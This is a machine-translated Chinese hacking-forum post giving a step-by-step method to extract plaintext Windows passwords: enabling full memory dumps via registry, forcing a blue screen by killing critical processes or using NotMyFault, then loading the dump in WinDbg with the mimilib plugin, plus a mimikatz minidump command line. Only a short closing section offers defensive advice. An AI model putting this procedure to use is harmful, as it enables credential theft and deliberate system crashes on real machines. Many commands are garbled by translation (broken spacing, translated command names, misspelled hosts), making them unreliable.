跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

使用Mimilib从转储文件导出密码的渗透提示——


Tenfk

推荐的帖子

0x00 前言

上一篇文章《Mimilib利用分析》中提到了mimilib可以作为WinDbg的一个插件,所以本文将详细介绍这个插件的使用方法,实现从内核态转储文件导出密码,并基于利用思路给出防御建议。

0x01 简介

本文将介绍以下内容:

转储文件的分类

转储文件的两种导出方法

WinDbg环境配置

利用理念

辩护建议

0x02 dump文件的分类

转储文件分为以下两类:

1.User-Mode Dump File

用户模式转储文件分为以下两种类型:

完全用户模式转储

小型转储

简单理解:通常针对单个流程。

更多参考:

https://docs . Microsoft . com/en-us/windows-硬件/驱动程序/调试器/用户模式-转储-文件

创建方法:

您可以使用Procdump来创建。

从用户模式转储文件导出密码的方法;

请参考之前的文章《渗透基础-从lsass.exe进程导出凭据》。

2.Kernel-Mode Dump Files

即内核模式转储文件,分为以下五种类型:

完全内存转储

内核内存转储

小型内存转储

自动内存转储

主动内存转储

简单理解:包括所有流程的信息。

创建方法:

启动创建转储文件的功能,当系统崩溃时会自动创建转储文件(BSOD)

更多参考:

https://docs . Microsoft . com/en-us/windows-硬件/驱动程序/调试器/内核模式转储文件

0x03 从内核模式转储文件导出口令的方法

流程如下:

1.打开转储文件功能。

2.强制系统蓝屏(BSOD),系统将自动创建一个内核模式转储文件。

3.使用WinDbg加载转储文件,并调用mimilib导出明文密码。

应特别注意以下问题:

1.开启转储文件的功能

对应的注册表位置:HKEY _本地_机器\系统\当前控制集\控制\崩溃控制,注册表项CrashDumpEnabled,类型REG_DWORD

数值对应的功能如下:

0表示未启用。

1表示完全内存转储。

2表示核心内存转储。

3表示内存转储。

检查与该注册表对应的cmd命令,如下所示:

reg query hklm \ SYSTEM \ current Control set \ Control \ crash Control/v crash dump enabled

这里需要将键值设置为1来开启全内存转储的功能,否则在使用WinDbg访问进程lsass.exe的内存时会提示页面目录无效,如下图所示。

2-1.png

修改该注册表的cmd命令如下:

REG add hklm \ SYSTEM \ current Control set \ Control \ crash Control/v crash dump enabled/t REG _ DWORD/d 1/f

2.强制系统蓝屏(BSOD)

(1)通过结束属性为critical process的进程导致BSOD

默认为关键流程的系统流程如下:

csrss.exe

lsass.exe

services.exe

smss.exe

svchost.exe

wininit.exe

在这里,您也可以先将指定的流程设置为关键流程,在该流程结束后,也会导致BSOD。

详情请参考之前的文章《结束进程导致BSOD的利用分析》。

(2)使用NotMyFault

下载地址:

https://docs . Microsoft . com/en-us/sys internals/downloads/not my fault

触发蓝屏(BSOD)的命令如下:

notmyfault.exe-accept EULA/崩溃

注:

NotMyFault还支持使用以下命令暂停当前系统:

notmyfault.exe-accept EULA/hang

默认情况下,BSOD后系统会自动重启,并生成文件C: \ Windows \ memory.dmp

3.使用WinDbg加载MEMORY.DMP

注:

WinDbg可以在安装SDK后自动安装。

参考资料:

https://docs . Microsoft . com/en-us/windows-硬件/驱动程序/调试器/调试器-下载-工具

使用WinDbg,选择打开故障转储并选择存储器。DMP.

获取转储文件详细信息的命令如下:

!分析-v

错误警告:内核符号错误。请修复符号以进行分析。

如下图

2-2.png

这里需要修复符号文件,可以选择以下三种解决方案:

(1) using the _NT_SYMBOL_PATH environment variable.

添加环境变量:

set _ NT _ SYMBOL _ PATH=SRV * c:\ my SYMBOL * https://msdl . Microsoft . com/download/symbols

(2) using the -y argument when starting the debugger.

使用WinDbg从指定的参数开始。

windbg.exe-y SRV * c:\ mysymbol * http://msdl . Microsoft . com/download/symbols

(3)using .sympath and .sympath+

添加符号文件路径

WinDbg的命令行操作:symphon SRV * c:\ my symbol * http://msdl . Microsoft . com/download/symbols

也可以通过界面操作来实现。

文件符号文件路径.

输入SRV * c:\ my symbol * http://mdl.microsoft.com/download/symbols.

设置后,所需的符号文件将自动从Microsoft公共符号服务器下载。

重新加载:重新加载

测试:

!进程0 0 lsass.exe

正常负载,如下所示

2-3.png

如果此部分仍然失败,请尝试使用VPN连接到互联网。

如果测试环境不能连接到互联网,您可以通过SymChk获取清单文件来下载符号文件。

参考资料:

https://docs . Microsoft . com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk

在无法连接到Internet的计算机A上执行:

sym chk/om c:\ Manifest \ man . txt/id c:\ test \ MEMORY。DMP

获取文件c:\Manifest\man.txt,将其复制到可以连接到Internet的计算机B上,并在计算机B上执行以下命令:

sym chk/im c:\ test \ man . txt/s SRV * c:\ mysymbolNew * https://msdl . Microsoft . com/download/symbols

将生成一个新文件夹c:\mysymbolNew,将其复制到计算机A,在计算机A上启动WinDbg,并使用以下命令将新的符号文件位置指定为c:\mysymbolNew:symfix c:\mysymbolNew

测试:重新加载

!进程0 0 lsass.exe

正常负载,如下所示

2-6.png

4.加载mimilib插件

请参考之前的文章《Mimilib利用分析》。

(1)方法1

将mimilib.dll保存到WinDbg的winext目录中。

我的测试环境(Server2012R2x64)中保存的路径是:C:\ Program Files \ Debugging Tools for Windows(x64)\ Winext。

启动WinDbg

加载插件的命令如下:加载mimilib

(2)方法2

直接加载mimilib的绝对路径,如下例所示:加载c:\test\mimilib

总而言之,设置配置环境以导出密码的完整命令如下:symphon SRV * c:\ my symbol * http://msdl . Microsoft . com/download/symbols。再装

!进程0 0 lsass.exe。工艺890f4530。加载c:\test\mimilib。再装

!米米卡茨

完整的过程如下

2-4.png

2-5.png

以下命令可用于将输出结果保存到文件中:logopen c:\test\log.txt

!米米卡茨。对数关闭

0x04 利用思路

1.从用户模式转储文件导出口令

通过API MiniDumpWriteDump()获取进程lsass.exe的转储文件

使用mimikatz从转储文件中导出密码。该命令如下所示:

mimikatz.exe日志' sekurlsa:minidump lsass . DMP ' ' sekurlsa:logon passwords full '退出

2.从内核模式转储文件导出口令

打开转储文件功能。

系统蓝屏(BSOD)

使用WinDbg加载转储文件,并调用mimilib导出明文密码。

0x05 防御建议

1.从用户模式转储文件导出口令

拦截API MiniDumpWriteDump()的行为,一些安全产品已经支持该行为。

2.从内核模式转储文件导出口令

打开转储加密功能

参考资料:

https://docs . Microsoft . com/en-us/windows-server/虚拟化/hyper-v/manage/about-dump-encryption

注:

如果攻击者获得了系统的管理员权限,就可以关闭转储加密的功能。

0x06 小结

介绍了分别从用户态转储文件和内核态转储文件导出密码的方法,并基于利用的思想给出了防御建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...